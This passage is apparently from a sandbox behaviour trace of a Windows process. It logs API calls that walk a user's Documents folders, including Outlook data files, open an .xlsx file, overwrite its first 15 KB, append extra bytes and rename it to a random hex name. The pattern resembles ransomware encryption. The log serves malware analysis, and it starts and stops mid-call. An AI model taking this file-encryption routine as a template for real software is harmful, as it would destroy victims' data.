(in: _Dest=0x1b7849a0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes" [0093.259] wcscat (in: _Dest=0x1b7849a0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\" [0093.259] wcscat (in: _Dest=0x1b7849a0, _Source="Favorites.vss" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\Favorites.vss" [0097.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7849a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd54 [0097.888] FindNextFileW (in: hFindFile=0x1cd9cf70, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1 [0097.889] wcscmp (_String1="_private", _String2=".") returned 1 [0097.889] wcscmp (_String1="_private", _String2="..") returned 1 [0097.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85e510 [0097.889] wcscpy (in: _Dest=0x1b85e510, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes" [0097.889] wcscat (in: _Dest=0x1b85e510, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\" [0097.889] wcscat (in: _Dest=0x1b85e510, _Source="_private" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private" [0097.889] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85e510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1318 [0097.889] FindNextFileW (in: hFindFile=0x1cd9cf70, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0 [0097.890] FindClose (in: hFindFile=0x1cd9cf70 | out: hFindFile=0x1cd9cf70) returned 1 [0097.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd991e0) returned 1 [0097.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e8e0) returned 1 [0097.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e950) returned 1 Thread: id = 523 os_tid = 0xd94 [0093.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b86e870 [0093.260] wcscpy (in: _Dest=0x1b86e870, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos" [0093.260] wcscat (in: _Dest=0x1b86e870, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\" [0093.260] wcscat (in: _Dest=0x1b86e870, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*" [0093.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd98f70 [0093.260] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", lpFindFileData=0x1cd98f70 | out: lpFindFileData=0x1cd98f70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0093.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98f70) returned 1 [0093.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e870) returned 1 [0093.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e9c0) returned 1 Thread: id = 524 os_tid = 0xd9c [0093.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f090 [0093.262] wcscpy (in: _Dest=0x1b85f090, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files" [0093.262] wcscat (in: _Dest=0x1b85f090, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\" [0093.262] wcscat (in: _Dest=0x1b85f090, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*" [0093.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd98f70 [0093.263] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x1cd98f70 | out: lpFindFileData=0x1cd98f70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x8a4af3c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8a4af3c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d030 [0093.263] wcscmp (_String1=".", _String2=".") returned 0 [0093.263] FindNextFileW (in: hFindFile=0x1cd9d030, lpFindFileData=0x1cd98f70 | out: lpFindFileData=0x1cd98f70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x8a4af3c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8a4af3c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.263] wcscmp (_String1="..", _String2=".") returned 1 [0093.263] wcscmp (_String1="..", _String2="..") returned 0 [0093.263] FindNextFileW (in: hFindFile=0x1cd9d030, lpFindFileData=0x1cd98f70 | out: lpFindFileData=0x1cd98f70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x8a4fb680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 1 [0093.263] wcscmp (_String1="voeimd@djhreuu.uhd.pst", _String2=".") returned 1 [0093.263] wcscmp (_String1="voeimd@djhreuu.uhd.pst", _String2="..") returned 1 [0093.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1ce108f0 [0093.263] wcscpy (in: _Dest=0x1ce108f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files" [0093.263] wcscat (in: _Dest=0x1ce108f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\" [0093.263] wcscat (in: _Dest=0x1ce108f0, _Source="voeimd@djhreuu.uhd.pst" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\voeimd@djhreuu.uhd.pst" [0097.720] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce108f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xde4 [0097.720] FindNextFileW (in: hFindFile=0x1cd9d030, lpFindFileData=0x1cd98f70 | out: lpFindFileData=0x1cd98f70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x8a4fb680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0x0, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 0 [0097.721] FindClose (in: hFindFile=0x1cd9d030 | out: hFindFile=0x1cd9d030) returned 1 [0097.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98f70) returned 1 [0097.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f090) returned 1 [0097.721] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f110) returned 1 Thread: id = 525 os_tid = 0xda4 [0093.264] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\PQGFOlmZJFztQ_URJy5.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pqgfolmzjfztq_urjy5.xlsx")) returned 0x20 [0093.264] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\PQGFOlmZJFztQ_URJy5.xlsx", dwFileAttributes=0x20) returned 1 [0093.264] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\PQGFOlmZJFztQ_URJy5.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pqgfolmzjfztq_urjy5.xlsx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd88 [0093.265] GetFileSizeEx (in: hFile=0xd88, lpFileSize=0x23a7fa40 | out: lpFileSize=0x23a7fa40*=61163) returned 1 [0093.265] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0xeee7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.265] ReadFile (in: hFile=0xd88, lpBuffer=0x23a7f9c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23a7fa08, lpOverlapped=0x0 | out: lpBuffer=0x23a7f9c0*, lpNumberOfBytesRead=0x23a7fa08*=0x4, lpOverlapped=0x0) returned 1 [0093.265] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f5e0 [0093.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f580 [0093.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f550 [0093.266] NtQuerySystemTime (in: CurrentTime=0x23a7f900 | out: CurrentTime=0x23a7f900*=132462176990986000) returned 0x0 [0093.266] RtlRandomEx (in: Seed=0x23a7f8f0 | out: Seed=0x23a7f8f0) returned 0x4eb95486 [0093.266] RtlRandomEx (in: Seed=0x23a7f8f0 | out: Seed=0x23a7f8f0) returned 0x1aa8d028 [0093.266] RtlRandomEx (in: Seed=0x23a7f8f0 | out: Seed=0x23a7f8f0) returned 0x2b12c134 [0093.266] RtlRandomEx (in: Seed=0x23a7f8f0 | out: Seed=0x23a7f8f0) returned 0x7a262e05 [0093.266] RtlRandomEx (in: Seed=0x23a7f8f0 | out: Seed=0x23a7f8f0) returned 0x481d788d [0093.266] RtlRandomEx (in: Seed=0x23a7f8f0 | out: Seed=0x23a7f8f0) returned 0x325ffbb6 [0093.266] RtlRandomEx (in: Seed=0x23a7f8f0 | out: Seed=0x23a7f8f0) returned 0x9e7b925 [0093.266] RtlRandomEx (in: Seed=0x23a7f8f0 | out: Seed=0x23a7f8f0) returned 0x4123ac38 [0093.266] RtlRandomEx (in: Seed=0x23a7f8f0 | out: Seed=0x23a7f8f0) returned 0x4969f92b [0093.266] RtlRandomEx (in: Seed=0x23a7f8f0 | out: Seed=0x23a7f8f0) returned 0x361d484e [0093.266] RtlRandomEx (in: Seed=0x23a7f8f0 | out: Seed=0x23a7f8f0) returned 0x48fe1082 [0093.266] RtlRandomEx (in: Seed=0x23a7f8f0 | out: Seed=0x23a7f8f0) returned 0x1c22bec9 [0093.266] RtlRandomEx (in: Seed=0x23a7f8f0 | out: Seed=0x23a7f8f0) returned 0x4d69584c [0093.266] RtlRandomEx (in: Seed=0x23a7f8f0 | out: Seed=0x23a7f8f0) returned 0x75404cf0 [0093.266] RtlRandomEx (in: Seed=0x23a7f8f0 | out: Seed=0x23a7f8f0) returned 0x102bcc2a [0093.266] RtlRandomEx (in: Seed=0x23a7f8f0 | out: Seed=0x23a7f8f0) returned 0x20215cf0 [0093.266] RtlRandomEx (in: Seed=0x23a7f8f0 | out: Seed=0x23a7f8f0) returned 0x196a259a [0093.266] RtlRandomEx (in: Seed=0x23a7f8f0 | out: Seed=0x23a7f8f0) returned 0x4e3727d7 [0093.266] RtlRandomEx (in: Seed=0x23a7f8f0 | out: Seed=0x23a7f8f0) returned 0xb5450b4 [0093.266] RtlRandomEx (in: Seed=0x23a7f8f0 | out: Seed=0x23a7f8f0) returned 0x14aba95f [0093.266] RtlRandomEx (in: Seed=0x23a7f8f0 | out: Seed=0x23a7f8f0) returned 0x11f90ade [0093.266] RtlRandomEx (in: Seed=0x23a7f8f0 | out: Seed=0x23a7f8f0) returned 0x16fcf3fd [0093.266] RtlRandomEx (in: Seed=0x23a7f8f0 | out: Seed=0x23a7f8f0) returned 0x776e694c [0093.266] RtlRandomEx (in: Seed=0x23a7f8f0 | out: Seed=0x23a7f8f0) returned 0x135f8140 [0093.266] RtlRandomEx (in: Seed=0x23a7f8f0 | out: Seed=0x23a7f8f0) returned 0x73f6f0d1 [0093.266] RtlRandomEx (in: Seed=0x23a7f8f0 | out: Seed=0x23a7f8f0) returned 0x47dd6129 [0093.266] RtlRandomEx (in: Seed=0x23a7f8f0 | out: Seed=0x23a7f8f0) returned 0x5e22d695 [0093.266] RtlRandomEx (in: Seed=0x23a7f8f0 | out: Seed=0x23a7f8f0) returned 0x7d0f873c [0093.266] RtlRandomEx (in: Seed=0x23a7f8f0 | out: Seed=0x23a7f8f0) returned 0x31e5e25 [0093.266] RtlRandomEx (in: Seed=0x23a7f8f0 | out: Seed=0x23a7f8f0) returned 0xe0543ab [0093.266] RtlRandomEx (in: Seed=0x23a7f8f0 | out: Seed=0x23a7f8f0) returned 0x50423cb9 [0093.266] RtlRandomEx (in: Seed=0x23a7f8f0 | out: Seed=0x23a7f8f0) returned 0x454c9726 [0093.274] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.274] ReadFile (in: hFile=0xd88, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x23a7f960, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x23a7f960*=0x3c00, lpOverlapped=0x0) returned 1 [0093.274] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c120 [0093.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef90 [0093.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f5e0 [0093.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f5e0) returned 1 [0093.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0093.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f5e0 [0093.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f550 [0093.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f550) returned 1 [0093.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0093.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c120) returned 1 [0093.275] WriteFile (in: hFile=0xd88, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x23a7f960, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x23a7f960*=0x3c00, lpOverlapped=0x0) returned 1 [0093.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0093.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ee130) returned 1 [0093.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1b82c120 [0093.292] SetFilePointerEx (in: hFile=0xd88, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0093.292] WriteFile (in: hFile=0xd88, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x23a7fa10, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x23a7fa10*=0x122, lpOverlapped=0x0) returned 1 [0093.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0093.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ef90 [0093.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced77d0 [0093.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced77d0) returned 1 [0093.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9ebb0 [0093.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced77d0 [0093.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7bc0 [0093.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7bc0) returned 1 [0093.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0093.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0093.297] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x61) returned 0x1b86e9c0 [0093.297] sprintf (in: _Dest=0x1b86e9c0, _Format="%c%c" | out: _Dest="ef") returned 2 [0093.297] sprintf (in: _Dest=0x1b86e9c2, _Format="%c%c" | out: _Dest="10") returned 2 [0093.297] sprintf (in: _Dest=0x1b86e9c4, _Format="%c%c" | out: _Dest="e4") returned 2 [0093.297] sprintf (in: _Dest=0x1b86e9c6, _Format="%c%c" | out: _Dest="d6") returned 2 [0093.297] sprintf (in: _Dest=0x1b86e9c8, _Format="%c%c" | out: _Dest="f1") returned 2 [0093.297] sprintf (in: _Dest=0x1b86e9ca, _Format="%c%c" | out: _Dest="37") returned 2 [0093.297] sprintf (in: _Dest=0x1b86e9cc, _Format="%c%c" | out: _Dest="fd") returned 2 [0093.297] sprintf (in: _Dest=0x1b86e9ce, _Format="%c%c" | out: _Dest="91") returned 2 [0093.297] sprintf (in: _Dest=0x1b86e9d0, _Format="%c%c" | out: _Dest="ea") returned 2 [0093.297] sprintf (in: _Dest=0x1b86e9d2, _Format="%c%c" | out: _Dest="60") returned 2 [0093.298] sprintf (in: _Dest=0x1b86e9d4, _Format="%c%c" | out: _Dest="ef") returned 2 [0093.298] sprintf (in: _Dest=0x1b86e9d6, _Format="%c%c" | out: _Dest="46") returned 2 [0093.298] sprintf (in: _Dest=0x1b86e9d8, _Format="%c%c" | out: _Dest="81") returned 2 [0093.298] sprintf (in: _Dest=0x1b86e9da, _Format="%c%c" | out: _Dest="81") returned 2 [0093.298] sprintf (in: _Dest=0x1b86e9dc, _Format="%c%c" | out: _Dest="e0") returned 2 [0093.298] sprintf (in: _Dest=0x1b86e9de, _Format="%c%c" | out: _Dest="10") returned 2 [0093.298] sprintf (in: _Dest=0x1b86e9e0, _Format="%c%c" | out: _Dest="4f") returned 2 [0093.298] sprintf (in: _Dest=0x1b86e9e2, _Format="%c%c" | out: _Dest="15") returned 2 [0093.298] sprintf (in: _Dest=0x1b86e9e4, _Format="%c%c" | out: _Dest="c8") returned 2 [0093.298] sprintf (in: _Dest=0x1b86e9e6, _Format="%c%c" | out: _Dest="63") returned 2 [0093.298] sprintf (in: _Dest=0x1b86e9e8, _Format="%c%c" | out: _Dest="e3") returned 2 [0093.298] sprintf (in: _Dest=0x1b86e9ea, _Format="%c%c" | out: _Dest="26") returned 2 [0093.298] sprintf (in: _Dest=0x1b86e9ec, _Format="%c%c" | out: _Dest="22") returned 2 [0093.298] sprintf (in: _Dest=0x1b86e9ee, _Format="%c%c" | out: _Dest="4f") returned 2 [0093.298] sprintf (in: _Dest=0x1b86e9f0, _Format="%c%c" | out: _Dest="46") returned 2 [0093.298] sprintf (in: _Dest=0x1b86e9f2, _Format="%c%c" | out: _Dest="11") returned 2 [0093.298] sprintf (in: _Dest=0x1b86e9f4, _Format="%c%c" | out: _Dest="2b") returned 2 [0093.298] sprintf (in: _Dest=0x1b86e9f6, _Format="%c%c" | out: _Dest="5e") returned 2 [0093.298] sprintf (in: _Dest=0x1b86e9f8, _Format="%c%c" | out: _Dest="db") returned 2 [0093.298] sprintf (in: _Dest=0x1b86e9fa, _Format="%c%c" | out: _Dest="0a") returned 2 [0093.298] sprintf (in: _Dest=0x1b86e9fc, _Format="%c%c" | out: _Dest="03") returned 2 [0093.298] sprintf (in: _Dest=0x1b86e9fe, _Format="%c%c" | out: _Dest="c6") returned 2 [0093.298] sprintf (in: _Dest=0x1b86ea00, _Format="%c%c" | out: _Dest="12") returned 2 [0093.298] sprintf (in: _Dest=0x1b86ea02, _Format="%c%c" | out: _Dest="7e") returned 2 [0093.298] sprintf (in: _Dest=0x1b86ea04, _Format="%c%c" | out: _Dest="dd") returned 2 [0093.298] sprintf (in: _Dest=0x1b86ea06, _Format="%c%c" | out: _Dest="39") returned 2 [0093.298] sprintf (in: _Dest=0x1b86ea08, _Format="%c%c" | out: _Dest="49") returned 2 [0093.298] sprintf (in: _Dest=0x1b86ea0a, _Format="%c%c" | out: _Dest="7c") returned 2 [0093.298] sprintf (in: _Dest=0x1b86ea0c, _Format="%c%c" | out: _Dest="4d") returned 2 [0093.298] sprintf (in: _Dest=0x1b86ea0e, _Format="%c%c" | out: _Dest="50") returned 2 [0093.299] sprintf (in: _Dest=0x1b86ea10, _Format="%c%c" | out: _Dest="64") returned 2 [0093.299] sprintf (in: _Dest=0x1b86ea12, _Format="%c%c" | out: _Dest="c0") returned 2 [0093.299] sprintf (in: _Dest=0x1b86ea14, _Format="%c%c" | out: _Dest="33") returned 2 [0093.299] sprintf (in: _Dest=0x1b86ea16, _Format="%c%c" | out: _Dest="34") returned 2 [0093.299] sprintf (in: _Dest=0x1b86ea18, _Format="%c%c" | out: _Dest="de") returned 2 [0093.299] sprintf (in: _Dest=0x1b86ea1a, _Format="%c%c" | out: _Dest="dc") returned 2 [0093.299] sprintf (in: _Dest=0x1b86ea1c, _Format="%c%c" | out: _Dest="0f") returned 2 [0093.299] sprintf (in: _Dest=0x1b86ea1e, _Format="%c%c" | out: _Dest="98") returned 2 [0093.299] RtlInitAnsiString (in: DestinationString=0x23a7fa88, SourceString="ef10e4d6f137fd91ea60ef468181e0104f15c863e326224f46112b5edb0a03c6127edd39497c4d5064c03334dedc0f98" | out: DestinationString="ef10e4d6f137fd91ea60ef468181e0104f15c863e326224f46112b5edb0a03c6127edd39497c4d5064c03334dedc0f98") [0093.299] RtlAnsiStringToUnicodeString (in: DestinationString=0x23a7fa58, SourceString="ef10e4d6f137fd91ea60ef468181e0104f15c863e326224f46112b5edb0a03c6127edd39497c4d5064c03334dedc0f98", AllocateDestinationString=1 | out: DestinationString="ef10e4d6f137fd91ea60ef468181e0104f15c863e326224f46112b5edb0a03c6127edd39497c4d5064c03334dedc0f98") returned 0x0 [0093.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x118610 [0093.299] wcscat (in: _Dest=0x1b7ad5c0, _Source="ef10e4d6f137fd91ea60ef46" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ef10e4d6f137fd91ea60ef46") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ef10e4d6f137fd91ea60ef46" [0093.299] wcscat (in: _Dest=0x1b7ad5c0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ef10e4d6f137fd91ea60ef46.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ef10e4d6f137fd91ea60ef46.2f9b60" [0093.299] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ef10e4d6f137fd91ea60ef46.2f9b60", NtPathName=0x23a7fa30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ef10e4d6f137fd91ea60ef46.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x1079c0 [0093.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1079c0) returned 1 [0093.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0093.301] NtQueryInformationFile (in: FileHandle=0xd88, IoStatusBlock=0x23a7fa98, FileInformation=0x23a7faa8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x23a7fa98, FileInformation=0x23a7faa8) returned 0x0 [0093.301] NtSetInformationFile 